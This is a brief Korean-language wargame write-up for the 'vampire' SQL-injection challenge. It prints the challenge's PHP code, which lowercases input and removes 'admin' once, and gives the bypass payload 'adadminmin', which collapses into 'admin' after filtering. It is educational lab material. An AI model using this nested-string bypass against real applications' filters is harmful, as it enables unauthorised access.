문제 코드
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/\'/i', $_GET[id])) exit("No Hack ~_~");
$_GET[id] = strtolower($_GET[id]);
$_GET[id] = str_replace("admin","",$_GET[id]);
$query = "select id from prob_vampire where id='{$_GET[id]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id'] == 'admin') solve("vampire");
highlight_file(__FILE__);
?>입력값을 소문자로 바꾼 뒤 admin 문자열을 제거합니다. 따라서 ADMIN처럼 대소문자를 바꾸는 방식은 통하지 않습니다.
exploit
?id=adadminmin처리 과정을 보면 다음과 같습니다.
입력값: adadminmin
strtolower 적용 후: adadminmin
str_replace("admin", "", ...) 적용 후: admin최종 쿼리는 아래와 같은 형태가 됩니다.
select id from prob_vampire where id='admin'str_replace()가 admin을 제거한 뒤 새로 합쳐져 만들어진 admin까지 다시 검사하지 않기 때문에 우회할 수 있습니다.